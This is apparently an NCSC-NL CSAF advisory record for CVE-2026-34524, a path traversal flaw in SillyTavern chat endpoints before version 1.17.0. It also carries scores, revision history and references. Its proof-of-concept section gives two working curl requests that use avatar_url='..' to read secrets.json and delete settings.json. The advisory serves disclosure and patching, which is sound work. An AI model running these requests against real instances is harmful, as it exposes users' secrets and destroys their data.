{ "document": { "category": "csaf_base", "csaf_version": "2.0", "distribution": { "tlp": { "label": "WHITE" } }, "lang": "en", "notes": [ { "category": "legal_disclaimer", "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings." } ], "publisher": { "category": "coordinator", "contact_details": "cert@ncsc.nl", "name": "National Cyber Security Centre", "namespace": "https://www.ncsc.nl/" }, "title": "CVE-2026-34524", "tracking": { "current_release_date": "2026-04-03T15:36:34.036726Z", "generator": { "date": "2026-02-17T15:00:00Z", "engine": { "name": "V.E.L.M.A", "version": "1.7" } }, "id": "CVE-2026-34524", "initial_release_date": "2026-04-01T23:02:42.097209Z", "revision_history": [ { "date": "2026-04-01T23:02:42.097209Z", "number": "1", "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)." }, { "date": "2026-04-01T23:02:44.433621Z", "number": "2", "summary": "NCSC Score created." }, { "date": "2026-04-02T17:39:34.656451Z", "number": "3", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| References created (2).| CWES updated (1)." }, { "date": "2026-04-02T17:39:36.867632Z", "number": "4", "summary": "NCSC Score updated." }, { "date": "2026-04-02T18:26:48.438371Z", "number": "5", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)." }, { "date": "2026-04-02T18:26:50.646562Z", "number": "6", "summary": "NCSC Score updated." }, { "date": "2026-04-03T15:31:28.009124Z", "number": "7", "summary": "Source connected.| CVE status created. (valid)| EPSS created." } ], "status": "interim", "version": "7" } }, "product_tree": { "branches": [ { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/<1.17.0", "product": { "name": "vers:unknown/<1.17.0", "product_id": "CSAFPID-5985091" } } ], "category": "product_name", "name": "SillyTavern" } ], "category": "vendor", "name": "SillyTavern" } ] }, "vulnerabilities": [ { "cve": "CVE-2026-34524", "cwe": { "id": "CWE-22", "name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')" }, "notes": [ { "category": "description", "text": "## Summary\nA Path Traversal vulnerability in chat endpoints allows an authenticated attacker to read and delete arbitrary files under their user data root (for example `secrets.json` and `settings.json`) by supplying `avatar_url=\"..\"`.\n\n### Details\nThe input validator used by `avatar_url` blocks only `/` and NUL bytes, but does not block traversal segments like `..`.\n\nEvidence:\n- Weak validator regex (does not reject `..`): \n \n- Vulnerable delete path construction: \n \n- Vulnerable export path construction: \n \n- Endpoint auth context (authenticated user access): \n \n\nBecause `avatar_url=\"..\"` is accepted, `path.join(/chats, \"..\")` resolves to `/`, enabling direct access to files outside the chats directory.\n\n### PoC\nPrerequisites:\n- Valid authenticated session cookie (`cookie.txt`)\n- Valid CSRF token (`$TOKEN`)\n\nRead sensitive file (`secrets.json`):\n\n```bash\ncurl -b cookie.txt -H \"x-csrf-token: $TOKEN\" -H \"content-type: application/json\" \\\n -d '{\"avatar_url\":\"..\",\"is_group\":false,\"file\":\"secrets.json\",\"format\":\"jsonl\",\"exportfilename\":\"x\"}' \\\n http://TARGET:8000/api/chats/export\n```\n\nDelete sensitive file (`settings.json`):\n\n```bash\ncurl -b cookie.txt -H \"x-csrf-token: $TOKEN\" -H \"content-type: application/json\" \\\n -d '{\"avatar_url\":\"..\",\"chatfile\":\"settings.json\"}' \\\n http://TARGET:8000/api/chats/delete\n```\n\n### Impact\n- Confidentiality: exposed per-user secrets and config data.\n- Integrity/Availability: attacker can delete critical per-user files and break account operation.\n- Risk is significant in multi-user or remotely reachable deployments.\n\n### Resolution\n\nThe issue was addressed in version 1.17.0", "title": "github - https://api.github.com/advisories/GHSA-vprr-q85p-79mf" }, { "category": "description", "text": "SillyTavern is a locally installed user interface that allows users to interact with text generation large language models, image generation engines, and text-to-speech voice models. Prior to version 1.17.0, a path traversal vulnerability in chat endpoints allows an authenticated attacker to read and delete arbitrary files under their user data root (for example secrets.json and settings.json) by supplying avatar_url=\"..\". This issue has been patched in version 1.17.0.", "title": "cveprojectv5 - https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/34xxx/CVE-2026-34524.json" }, { "category": "description", "text": "SillyTavern is a locally installed user interface that allows users to interact with text generation large language models, image generation engines, and text-to-speech voice models. Prior to version 1.17.0, a path traversal vulnerability in chat endpoints allows an authenticated attacker to read and delete arbitrary files under their user data root (for example secrets.json and settings.json) by supplying avatar_url=\"..\". This issue has been patched in version 1.17.0.", "title": "nvd - https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-34524" }, { "category": "other", "text": "0.00046", "title": "EPSS" }, { "category": "other", "text": "3.9", "title": "NCSC Score" }, { "category": "other", "text": "There is cwe data available from source Nvd", "title": "NCSC Score top decreasing factors" } ], "product_status": { "known_affected": [ "CSAFPID-5985091" ] }, "references": [ { "category": "external", "summary": "Source - github", "url": "https://api.github.com/advisories/GHSA-vprr-q85p-79mf" }, { "category": "external", "summary": "Source - cveprojectv5", "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/34xxx/CVE-2026-34524.json" }, { "category": "external", "summary": "Source - nvd", "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-34524" }, { "category": "external", "summary": "Source - first", "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd", "url": "https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-vprr-q85p-79mf" }, { "category": "external", "summary": "Reference - github", "url": "https://github.com/advisories/GHSA-vprr-q85p-79mf" }, { "category": "external", "summary": "Reference - cveprojectv5; nvd", "url": "https://github.com/SillyTavern/SillyTavern/releases/tag/1.17.0" } ], "scores": [ { "cvss_v3": { "version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L", "baseScore": 8.3, "baseSeverity": "HIGH" }, "products": [ "CSAFPID-5985091" ] } ], "title": "CVE-2026-34524" } ] }